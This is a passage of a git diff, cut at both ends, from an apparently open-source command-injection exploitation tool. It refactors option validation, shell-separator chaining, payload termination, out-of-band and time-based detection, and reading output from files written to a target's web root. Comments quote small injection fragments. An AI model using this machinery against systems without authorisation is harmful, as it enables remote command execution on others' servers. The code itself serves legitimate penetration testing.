provided_scripts + +""" +Resolve '--type' into the techniques that show a result that way. + +The type is what a finding is reported as, so asking for one is a fair way to ask for the +techniques behind it - and shorter than naming each of them. +""" +def apply_injection_type(): + if not menu.options.type: + return + # Asked of the options themselves: this runs before the run has settled which of the two it is on. + if menu.options.tech or menu.options.skip_tech: + err_msg = "The options '--type' and '" + err_msg += "--skip-technique" if menu.options.skip_tech else "--technique" + err_msg += "' cannot be used simultaneously." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + # A string of letters, the way '--technique' is given - a separator between them is allowed too. + ignored = settings.PARAMETER_SPLITTING_REGEX + settings.SINGLE_WHITESPACE + letters = "" + for given in menu.options.type.lower(): + if given in ignored: + continue + if given not in settings.AVAILABLE_TYPES: + err_msg = "You specified wrong value '" + given + "' as injection type. " + err_msg += "The value for option '--type' must be a string composed by the letters " + err_msg += ", ".join(settings.AVAILABLE_TYPES).upper() + err_msg += ". Refer to the official wiki for details." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + letters += settings.AVAILABLE_TYPES[given] + menu.options.tech = "".join(sorted(set(letters), key=settings.AVAILABLE_TECHNIQUES.index)) + settings.USER_APPLIED_TECHNIQUE = True + +""" +The techniques the user named, rejected here on the same ground as the tamper scripts above. +""" +def validate_techniques(): + if not menu.options.tech: + return + letters = menu.options.tech.lower() + for legacy, current in settings.LEGACY_TECHNIQUE_LETTERS.items(): + letters = letters.replace(legacy, current) + selectable = list(settings.AVAILABLE_TECHNIQUES) + ignored = settings.PARAMETER_SPLITTING_REGEX + settings.SINGLE_WHITESPACE + unknown = [letter for letter in letters if letter not in selectable and letter not in ignored] + if unknown: + err_msg = "You specified wrong value '" + unknown[0] + "' as injection technique. " + err_msg += "The value for option '" + err_msg += "--skip-technique" if settings.SKIP_TECHNIQUES else "--technique" + err_msg += "' must be a string composed by the letters " + err_msg += ", ".join(settings.AVAILABLE_TECHNIQUES).upper() + err_msg += ". Refer to the official wiki for details." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + +""" +The remaining options whose value can be judged on its own, on the same ground as the two above. +""" +def validate_options(): + if menu.options.level not in (None, False): + try: + level = int(menu.options.level) + except (TypeError, ValueError): + level = None + if level not in (settings.DEFAULT_INJECTION_LEVEL, settings.COOKIE_INJECTION_LEVEL, settings.HTTP_HEADER_INJECTION_LEVEL): + err_msg = "The value for option '--level' must be an integer value from range [1, 3]." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.eval_sink: + # 'py' and 'python' name the same language, here as for '--interpreter'. + if settings.resolve_language(menu.options.eval_sink) not in (settings.EVAL_ALL_LANGUAGES,) + settings.SUPPORTED_EVAL_LANGUAGES: + err_msg = "You defined an invalid language '" + menu.options.eval_sink + "' for '--eval'. " + err_msg += "Supported languages are: " + ", ".join(settings.SUPPORTED_EVAL_LANGUAGES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.file_write is not None and not menu.options.file_dest: + err_msg = "You must specify the host's absolute filepath to write (i.e. '--file-dest')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.file_dest and menu.options.file_write is None: + err_msg = "You must enter the '--file-write' parameter." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # The remote destination must be an absolute filepath (Unix-style, Windows drive-letter, or UNC). + if menu.options.file_dest and not (menu.options.file_dest.startswith(("/", "\\")) or \ + re.match(r"^[A-Za-z]:[\\/]", menu.options.file_dest)): + err_msg = "The value for option '--file-dest' must be an absolute filepath " + err_msg += "(e.g. '/tmp/file' or 'C:\\Windows\\Temp\\file')." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if menu.options.file_write is not None and not os.path.exists(menu.options.file_write): + err_msg = "The specified local file '" + menu.options.file_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Checking for all required third-party library dependencies. """ @@ -2493,25 +2615,7 @@ def escalate_waf_evasion(on_block=True): """ def tamper_scripts(stored_tamper_scripts): if menu.options.tamper: - # Check the provided tamper script(s) - available_scripts = [] - raw_scripts = re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()) - provided_scripts = list(dict.fromkeys(script.strip() for script in raw_scripts if script.strip())) - for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): - available_scripts.append(os.path.basename(script.split(".py")[0])) - for script in provided_scripts: - if script in available_scripts: - pass - else: - err_msg = "The '" + script + "' tamper script does not exist. " - err_msg += "Use the '--list-tampers' switch for listing available tamper scripts." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - for first, second in settings.INCOMPATIBLE_TAMPER_SCRIPTS: - if first in provided_scripts and second in provided_scripts: - err_msg = "Tamper script '" + first + "' is unlikely to work in combination with the tamper script '" + second + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + provided_scripts = validate_tamper_scripts() priorities = {} for script in provided_scripts: if script not in settings.MULTI_ENCODED_PAYLOAD: @@ -4099,7 +4203,7 @@ def short_technique_label(technique): return technique_display_name(technique).replace("command injection ", "").replace("injection ", "") """ -Full label of a technique, with its injection type - "classic results-based command injection technique". +Full label of a technique, with the sink it reached - "results-based classic command injection technique". """ def technique_label(injection_type, technique): name = short_technique_label(technique) @@ -4108,8 +4212,7 @@ def technique_label(injection_type, technique): # The channel belongs with the technique's own name, ahead of the injection type. if technique == settings.INJECTION_TECHNIQUE.OOB and oob_channel_label(): name += " (" + oob_channel_label() + ")" - # The injection type names the sink as well as how execution shows, and both sinks are reached by - # the same techniques - so it is given whole, rather than cut down to how execution shows. + # The technique leads, because it says how the result came back; the type names only the sink. return name + settings.SINGLE_WHITESPACE + injection_type + " technique" """ @@ -4165,7 +4268,8 @@ def output_file_still_served(): def announce_leftover_file(technique): if technique != settings.INJECTION_TECHNIQUE.FILE_BASED or not settings.DEFINED_WEBROOT: return - written = settings.WEB_ROOT + settings.DEFINED_WEBROOT.split("/")[-1] + # The name it was written under, which a URL serving it through a script does not carry. + written = settings.WEB_ROOT + (settings.CUSTOM_FILENAME or settings.DEFINED_WEBROOT.split("/")[-1]) if written not in settings.LEFTOVER_FILES: settings.LEFTOVER_FILES.append(written) @@ -4406,6 +4510,27 @@ def windows_only_attack_vector(): def windows_separator(separator): return separator if separator in WINDOWS_SEPARATORS else None +""" +The same for a POSIX shell. + +Ctrl-Z is cmd.exe's end-of-file and here an ordinary byte: 'xxx\x1aecho foo' is one word, so +nothing follows it to run. CRLF leaves its carriage return on the end of the line before it, where +only a command that takes the byte as data survives it - 'sleep 5\r' is an invalid interval and +'>/tmp/f\r' writes a different file - so what it reaches is a subset of what a bare newline does. +""" +def unix_separator(separator): + return None if separator in (settings.CTRL_Z, settings.END_LINE.CRLF) else separator + +# The separator as the target's shell reads it, and nothing where it reads it as no separator at all. +def shell_separator(separator): + if settings.TARGET_OS == settings.OS.WINDOWS: + return windows_separator(separator) + return unix_separator(separator) + +# Only those, so the attempt count reflects what the target's shell can actually chain on. +def chainable_separators(separators): + return [separator for separator in separators if shell_separator(separator) is not None] + """ Report whether the target's shell runs a second command after this separator at all. A name lookup can still betray an injection point through one that does not - cmd.exe reads ';' as an argument @@ -4413,9 +4538,7 @@ def windows_separator(separator): be run through it afterwards. """ def separator_chains(separator): - if settings.TARGET_OS == settings.OS.WINDOWS: - return windows_separator(separator) is not None - return True + return shell_separator(separator) is not None """ The operator a payload chains its own commands with, once it has started with the separator under @@ -4451,6 +4574,18 @@ def windows_tail(chain): def shell_tail(): return WINDOWS_TAIL if settings.TARGET_OS == settings.OS.WINDOWS else UNIX_TAIL +""" +End an out-of-band payload on the separator it chains on, not on a comment character the sink has +to pass as well - one that filters it reads every separator as not injectable. cmd.exe has none, so +'rem' stands in on that same separator. With no separator to close on, the tail is all there is. +""" +def terminate_oob_payload(payload, separator, target_os=None): + if not separator: + return payload + shell_tail() + if (target_os or settings.TARGET_OS) == settings.OS.WINDOWS: + return payload + windows_tail(separator) + return terminate_payload(payload, separator) + """ Hold the answer back for a number of seconds, without starting a PowerShell process. @@ -4528,6 +4663,36 @@ def oob_request_body(raw_request): """ Append the separator once more if a custom injection marker changed where the payload lands - the shared tail repeated across every payloads.py. """ +def terminate_payload(payload, separator, keep_output=False): + """ + End a payload so the target's own command line cannot run into it. + + What follows the injection point is the rest of the application's command, and a payload ending + in a redirection hands it straight to the command as further arguments - which 'echo' accepts + and writes, while most other commands refuse outright and give nothing back. + + Closed with the separator the payload is already chaining on, so what follows runs as a command + of its own rather than as arguments to this one. Nothing new is introduced to be filtered: the + payload ends with the one separator it is testing. + + What that takes differs by separator. ";", a newline and "&" end a command on their own, so the + remainder simply becomes the next one. "&&", "||" and "|" are binary and need something on their + right: the remainder usually provides it, but where the payload is the last thing in the value + there is nothing to provide, and the shell is handed an unfinished line. A ":" closes those - + it does nothing, and reads whatever follows as arguments it ignores. + """ + # Nothing to terminate: a separator this technique has no payload for is left empty, and the + # callers read that emptiness as "not supported" - a lone separator would read as a payload. + if not payload: + return payload + if settings.CUSTOM_INJECTION_MARKER: + return payload + separator + # A pipe hands this payload's own output to whatever comes next, and a technique that reads its + # result out of the response needs that output to reach the response instead. + if keep_output and separator == settings.PIPE_SEPARATOR: + return payload + return payload + separator + (settings.NO_OPERATION if separator in settings.BINARY_SEPARATORS else "") + def append_custom_marker(payload, separator): if settings.CUSTOM_INJECTION_MARKER: return payload + separator diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index 386b33a832..75556f7fbc 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -274,6 +274,12 @@ def oob_heuristic_basic(url, http_request_method, check_parameter, place): if settings.IDENTIFIED_COMMAND_INJECTION or menu.options.os: target_systems = (settings.TARGET_OS,) + # Said once, because these payloads break the rule the tested ones keep to: they chain several + # separators and clients into one request, to spend one request rather than six on a yes/no. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Chaining all separators and clients into a single heuristic request." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + attempts = [] for target_os in target_systems: payload, probes = oob_payloads.heuristic_payload(channel, target_os) @@ -452,6 +458,7 @@ def _run_over_languages(exploit): if settings.IDENTIFIED_EVAL_LANGUAGE in languages: languages = (settings.IDENTIFIED_EVAL_LANGUAGE,) + tuple( _ for _ in languages if _ != settings.IDENTIFIED_EVAL_LANGUAGE) + for language in languages: settings.set_eval_grammar(language) if len(languages) > 1 and settings.VERBOSITY_LEVEL != 0: debug_msg = "Testing the '" + settings.EVAL_GRAMMAR.LABEL + "' language." @@ -483,7 +490,7 @@ def exploit(): settings.IDENTIFIED_COMMAND_INJECTION = True settings.SKIP_CODE_INJECTIONS = True return result - run_technique(injection_type, technique, "CLASSIC_STATE", "SKIP_COMMAND_INJECTIONS", "c", exploit) + run_technique(injection_type, technique, "CLASSIC_STATE", "SKIP_COMMAND_INJECTIONS", "r", exploit) """ Check if it's exploitable via dynamic code evaluation technique. @@ -497,7 +504,7 @@ def exploit(): if result is not False: settings.SKIP_COMMAND_INJECTIONS = True return result - run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "c", exploit, eval_sink=True) + run_technique(injection_type, technique, "EVAL_BASED_STATE", "SKIP_CODE_INJECTIONS", "r", exploit, eval_sink=True) """ Check if it's exploitable via time-based command injection technique. @@ -578,7 +585,7 @@ def check_parameter_in_http_header(check_parameter, place): def check_parameter_dynamism(url, http_request_method, check_parameter): if settings.LOAD_SESSION or not settings.TESTABLE_VALUE: return - if menu.options.tech and "c" not in menu.options.tech and "e" not in menu.options.tech: + if menu.options.tech and "r" not in menu.options.tech and "e" not in menu.options.tech: return marker = settings.TESTABLE_VALUE + settings.INJECT_TAG diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 6dfda92d4b..9a8f271e39 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -44,11 +44,38 @@ def _prioritize(candidates, confirmed_value): """ Every (whitespace, prefix, suffix, separator) combination to try, in order. """ -def _boundary_combinations(whitespaces, prefixes, suffixes, separators): +def _boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=False, grammar_separators=None): + """ + Each boundary worth sending, once. + + A prefix that is itself a separator is dropped where it meets one, which every separator does - + so from the second level up, every one of them arrives at the payload as the empty prefix that + was already tried. Raising the level then buys re-sending what has been sent rather than asking + anything new: at level three that is most of the combinations, over every technique alike. + + The suffix goes the same way. Against a payload that already closed itself, a separator suffix + reads as ';;' or '&|' - no shell parses either - and a quote suffix balances only its own prefix. + """ + # What the grammar calls a separator, which is not the same as what this target can chain on - + # a suffix is dead against a closed payload either way. + grammar_separators = separators if grammar_separators is None else grammar_separators + # Asked of the function that puts the terminator there, so the two cannot drift apart. + self_terminated = dict((separator, checks.terminate_payload("x", separator, keep_output) != "x") for separator in separators) + tried = set() for whitespace in whitespaces: for prefix in prefixes: for suffix in suffixes: for separator in separators: + if suffix and self_terminated[separator] and suffix in grammar_separators: + continue + if suffix in settings.QUOTES and suffix != prefix: + continue + # The same rule the payload is built under, so what is compared is what would be sent. + effective = "" if (prefix + separator) in settings.JUNK_COMBINATION else prefix + boundary = (whitespace, effective, suffix, separator) + if boundary in tried: + continue + tried.add(boundary) yield whitespace, prefix, suffix, separator """ @@ -412,7 +439,7 @@ def _run_os_cmd(): if menu.options.eval_sink: sinks = [(True, settings.INJECTION_TYPE.BLIND_CE, payloads.eval_prefixes(), settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS)] else: - sinks = [(False, injection_type, settings.PREFIXES, settings.SUFFIXES, settings.SEPARATORS)] + sinks = [(False, injection_type, settings.PREFIXES, settings.SUFFIXES, checks.chainable_separators(settings.SEPARATORS))] for is_eval, sink_type, sink_prefixes, sink_suffixes, sink_separators in sinks: settings.OOB_EVAL = is_eval @@ -433,8 +460,12 @@ def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, tim transports = payloads.transports() + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Testing for out-of-band interactions on a unique hostname per payload." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators)) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=settings.SEPARATORS)) total = len(combinations) * len(transports) i = 0 @@ -538,6 +569,9 @@ def _oob_sweep(is_eval, injection_type, prefixes, suffixes, separators, url, tim settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) # Re-confirm with a fresh token, against a stray interaction. + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Re-confirming the injection point on a fresh hostname." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) for _ in range(settings.RESULTS_BASED_VERIFY_ROUNDS): verify_token, verify_hostname = channel.new_payload() verify_expression, verify_expected, verify_prologue = payloads.proof(transport) @@ -598,6 +632,9 @@ def _oob_winner(fired, channel, payloads): def _oob_http_upgrade(is_eval, separator, prefix, suffix, whitespace, vuln_parameter, url, http_request_method, filename, channel, payloads): if menu.options.oob_transport or not settings.OOB_HEURISTIC_HTTP_SILENT: return None + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking which HTTP client can carry back the command output." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) fired = [] for candidate in payloads.upgrade_candidates(): token, hostname = channel.new_payload() @@ -725,13 +762,15 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim _announce_technique(injection_type, technique) prefixes, suffixes, separators = checks.sink_boundaries() + separators = checks.chainable_separators(separators) whitespaces = settings.WHITESPACES prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, grammar_separators=settings.SEPARATORS)) i = 0 - total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) - for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): + total = len(combinations) + for whitespace, prefix, suffix, separator in combinations: bare_prefix = prefix bare_suffix = suffix settings.DETECTION_PHASE = True @@ -773,6 +812,11 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim prefix = "" # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) + # Whether anything in this pass answered late, which is what a further pass could re-judge. + answered_late = False + # Per pass: the anomaly below reads the sample by position, so one pass's timings appended + # to the last one's put the peak it looks for at an index that means nothing. + exec_time_statistic = [] # The output file for file-based injection technique. interpreter = menu.options.interpreter tag_length = len(TAG) + 4 @@ -832,6 +876,7 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim # combination that answers is often among the last to be tried. if True: if checks.time_related_shell(exec_time, timesec): + answered_late = True # Time related false positive fixation. false_positive_fixation = False if len(TAG) == output_length: @@ -933,6 +978,11 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim if possibly_vulnerable: break + # A further pass is for judging again what was answered late once already - a fresh tag + # cannot make a target delay that never did, and asking every length again over a + # technique this slow is the most expensive way there is to learn the same thing twice. + if not answered_late: + break # Yaw, got shellz! # Do some magic tricks! if checks.time_related_shell(exec_time, timesec): @@ -1012,9 +1062,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject separators = settings.EVAL_SEPARATORS else: prefixes, suffixes, separators = checks.sink_boundaries() - if settings.TARGET_OS == settings.OS.WINDOWS: - # Dropped up front, so the attempt count reflects what cmd.exe can actually chain on. - separators = [_separator for _separator in separators if checks.windows_separator(_separator) is not None] + separators = checks.chainable_separators(separators) if not settings.LOAD_SESSION or technique not in settings.STORED_TECHNIQUES: _announce_technique(injection_type, technique) @@ -1027,8 +1075,10 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject prefixes, suffixes, separators, whitespaces = _prioritize_confirmed_boundary(prefixes, suffixes, separators, whitespaces) TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + # Only the classic technique leaves its pipe payloads open, to read the result off the response. + combinations = list(_boundary_combinations(whitespaces, prefixes, suffixes, separators, keep_output=technique == settings.INJECTION_TECHNIQUE.CLASSIC, grammar_separators=settings.SEPARATORS)) i = 0 - total = len(whitespaces) * len(prefixes) * len(suffixes) * len(separators) + total = len(combinations) """ After this many failed writes the temporary directory is offered instead of the web root. A set of boundaries small enough to get through is gone through in full first: the one that answers is @@ -1043,7 +1093,7 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject failed_tries = min(total, settings.MAX_FAILED_TRIES) else: failed_tries = int(menu.options.failed_tries) - for whitespace, prefix, suffix, separator in _boundary_combinations(whitespaces, prefixes, suffixes, separators): + for whitespace, prefix, suffix, separator in combinations: bare_prefix = prefix bare_suffix = suffix """ @@ -1245,9 +1295,8 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject verify_payload = payloads.decision_combined(separator, verify_tags, OUTPUT_TEXTFILE) requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) time.sleep(timesec) - verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - verify_response = checks.get_response(verify_output) - verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") # Tags must appear in order - rules out a stale/cached file. verified = re.search(r"" + r".*?".join(verify_tags) + r"", str(verify_html_data), re.DOTALL) is not None else: @@ -1260,9 +1309,8 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject verify_payload = payloads.decision(separator, verify_tag, OUTPUT_TEXTFILE) requests.perform_injection(prefix, suffix, whitespace, verify_payload, "", http_request_method, url) time.sleep(timesec) - verify_output = injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - verify_response = checks.get_response(verify_output) - verify_html_data = "" if type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") + verify_response = injector.fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + verify_html_data = "" if verify_response is None or type(verify_response) is bool else checks.process_page_content(verify_response, action="decode") verify_shell = re.findall(r"" + verify_tag + "", str(verify_html_data)) verified = bool(verify_shell) and verify_shell[0] == verify_tag else: diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 9f5391c414..299387532c 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1182,9 +1182,18 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese (payloads.condition_check(separator, str(a) + " -eq " + str(c), timesec, http_request_method), None), # discarded - lets the backend settle after any earlier delay (payloads.condition_check(separator, str(a) + " -eq " + str(b), timesec, http_request_method), False), (payloads.condition_check(separator, str(b) + " -eq " + str(c), timesec, http_request_method), False), - (payloads.condition_check(separator, str(b) + " " + str(c), timesec, http_request_method), False), # not a valid test expression - (payloads.condition_check(separator, str(c) + " -eq " + str(c), timesec, http_request_method), True), ] + """ + An expression the shell cannot evaluate is a control only where the gating skips on error. + + A malformed '[' exits 2, and these separators reach their delay through '||', which runs on + any non-zero status - so the control would delay by construction, and condemn as a false + positive every point it was meant to confirm. + """ + if separator not in (settings.PIPE_SEPARATOR, "||"): + litmus_checks.append((payloads.condition_check(separator, str(b) + settings.SINGLE_WHITESPACE + str(c), timesec, http_request_method), False)) # not a valid test expression + # Ends on a must-delay check; the caller re-validates the final exec_time. + litmus_checks.append((payloads.condition_check(separator, str(c) + " -eq " + str(c), timesec, http_request_method), True)) verified = True for payload, expect in litmus_checks: if payload is None: @@ -1372,6 +1381,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): if settings.MULTI_TARGETS: settings.RECHECK_FILE_FOR_EXTRACTION = True + refusals = 0 while True: message = "Do you want to use the URL '" + output message += "' to receive the execution output? [Y/n] " @@ -1383,9 +1393,22 @@ def custom_web_root(url, OUTPUT_TEXTFILE): message = "Enter URL to receive " message += "the execution output " message = common.read_input(message, default=output, check_batch=True) + # A path on the target answers the question as well as the whole URL does, and is what + # a sink serving the file through a script is most naturally named by. + if message.startswith("/"): + target = _urllib.parse.urlparse(url) + message = target.scheme + "://" + target.netloc + message if not re.search(r'^(?:http)s?://', message, re.I): common.invalid_option(message) - pass + # An answer that cannot change is an answer that cannot be asked for again: a run + # that is not being watched, or one answering from '--answers', would otherwise be + # put the same question for as long as it is left alone. + refusals += 1 + if refusals >= settings.MAX_INVALID_URL_ANSWERS: + err_msg = "The URL to receive the execution output must start with 'http://' or " + err_msg += "'https://', and '" + str(message) + "' does not." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() else: output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output @@ -1414,6 +1437,65 @@ def custom_web_root(url, OUTPUT_TEXTFILE): return output +""" +Every URL the written file could be reachable at, the one already settled on first. + +A web root says where the file lands on disk, not where that is on the site - the directories +between the document root and it are not in it to be read. Rather than guess which of them the +document root ends at, each is tried in turn, starting with the shallowest. +""" +def output_file_candidates(output, url, OUTPUT_TEXTFILE): + candidates = [output] + if menu.options.web_root: + parsed = _urllib.parse.urlparse(url) + parts = [part for part in menu.options.web_root.replace("\\", "/").split("/") if part] + for depth in range(1, len(parts) + 1): + candidate = parsed.scheme + "://" + parsed.netloc + "/" + "/".join(parts[-depth:]) + "/" + OUTPUT_TEXTFILE + if candidate not in candidates: + candidates.append(candidate) + return candidates + +""" +The response holding the written file, from whichever URL it turns out to be reachable at. +""" +def fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique): + output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) + for candidate in output_file_candidates(output, url, OUTPUT_TEXTFILE): + try: + response = checks.get_response(candidate) + except (_urllib.error.HTTPError, _urllib.error.URLError): + continue + if type(response) is bool or response is None: + continue + if candidate != output: + # Settled here, so the rest of the run asks for the one that answered rather than trying again. + settings.DEFINED_WEBROOT = candidate + info_msg = "Reading the execution output from '" + candidate + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return response + # The command may well have run and written its output - what could not be done is read it back, + # which is a different thing to say than that nothing came of the command. + warn_msg = "The execution output could not be read at '" + output + "'. " + warn_msg += "The file is written where '--web-root' says, so what is needed is the URL that serves it." + settings.print_once(warn_msg) + return None + +""" +What the written file holds, or nothing where it cannot be read. +""" +def read_output_file(output): + try: + response = checks.get_response(output) + if type(response) is bool and response is not True or response is None: + return "" + shell = checks.process_page_content(response, action="encode").rstrip().lstrip() + if settings.TARGET_OS == settings.OS.WINDOWS: + shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] + shell = [empty for empty in shell if empty] + return shell + except (_urllib.error.HTTPError, _urllib.error.URLError): + return "" + """ Evaluate test results. """ @@ -1532,19 +1614,20 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times else: #Find the directory. - output = injection_output(url, OUTPUT_TEXTFILE, timesec, technique) - try: - response = checks.get_response(output) - if type(response) is bool and response is not True or response is None: - shell = "" - else: + shell = "" + for attempt in range(settings.MAX_OUTPUT_FILE_READS): + response = fetch_output_response(url, OUTPUT_TEXTFILE, timesec, technique) + if response is not None: shell = checks.process_page_content(response, action="encode").rstrip().lstrip() if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace(settings.END_LINE.CR, "") for newline in shell] shell = [empty for empty in shell if empty] - except (_urllib.error.HTTPError, _urllib.error.URLError) as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" + # What the file held before this command is what it still holds if the write has not landed. + if shell and shell != settings.LAST_OUTPUT_FILE_CONTENT: + break + if attempt + 1 < settings.MAX_OUTPUT_FILE_READS: + time.sleep(settings.OUTPUT_FILE_READ_DELAY) + settings.LAST_OUTPUT_FILE_CONTENT = shell return shell # eof diff --git a/src/core/main.py b/src/core/main.py index 9679bcf364..086a31815e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -148,13 +148,9 @@ def examine_request(request, url): response = headers.check_http_traffic(request) if response is not None: return response - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: - return proxy.use_proxy(request) else: try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response + return headers.resend(request) except ValueError: # Invalid format for the '--header' option. @@ -617,6 +613,9 @@ def main(filename, url, http_request_method): menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) menu.options.tech = menu.options.tech.lower() + # The classic technique is named for how its result comes back now, so its letter moved with it. + for legacy, current in settings.LEGACY_TECHNIQUE_LETTERS.items(): + menu.options.tech = menu.options.tech.replace(legacy, current) if menu.options.eval_sink: # 'py' and 'python' name the same language, here as for '--interpreter'. menu.options.eval_sink = settings.resolve_language(menu.options.eval_sink) @@ -672,40 +671,6 @@ def main(filename, url, http_request_method): which is the one that asks for all of them. """ - # Check if specified wrong injection technique - only what the user actually typed, since a - # resumed session hands back techniques that are not selectable on the command line. - if settings.USER_APPLIED_TECHNIQUE and menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: - found_tech = False - # Check if used the ',' separator - if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: - split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX) - else: - split_techniques_names = menu.options.tech.split() - if split_techniques_names: - for i in range(0,len(split_techniques_names)): - if len(menu.options.tech) <= len(settings.AVAILABLE_TECHNIQUES): - split_first_letter = list(menu.options.tech) - for j in range(0,len(split_first_letter)): - if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: - found_tech = True - else: - found_tech = False - - if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ - found_tech is False: - err_msg = "You specified wrong value '" + split_techniques_names[i] - err_msg += "' as injection technique. " - err_msg += "The value for option '" - if not settings.SKIP_TECHNIQUES : - err_msg += "--technique" - else: - err_msg += "--skip-technique" - err_msg += "' must be a string composed by the letters " - err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() - err_msg += ". Refer to the official wiki for details." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - if menu.options.oob: menu.options.tech = 'o' @@ -750,8 +715,8 @@ def main(filename, url, http_request_method): ) try: try: - # Skip stability probing on resume unless content-reflection techniques ('c'/'e') are in scope. - if not settings.LIKELY_RESUME and (not menu.options.tech or "c" in menu.options.tech or "e" in menu.options.tech): + # Skip stability probing on resume unless content-reflection techniques ('r'/'e') are in scope. + if not settings.LIKELY_RESUME and (not menu.options.tech or "r" in menu.options.tech or "e" in menu.options.tech): requests.is_url_content_stable(settings.INIT_CONNECTION_URL or url, response, settings.INIT_CONNECTION_FETCH_TIME, http_request_method) info_msg = "Performing heuristic (passive) test on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) @@ -897,6 +862,13 @@ def _time_limit_reached(signum, frame): if not menu.options.ignore_dependencies: checks.third_party_dependencies() + # Before the target is touched: a mistyped option is the user's to correct, not the target's + # to be probed over. + checks.validate_tamper_scripts() + checks.apply_injection_type() + checks.validate_techniques() + checks.validate_options() + # Check if defined "--update" option. if menu.options.update: update.updater() diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 1f88c3b983..d62c2c3e9d 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -539,6 +539,12 @@ def 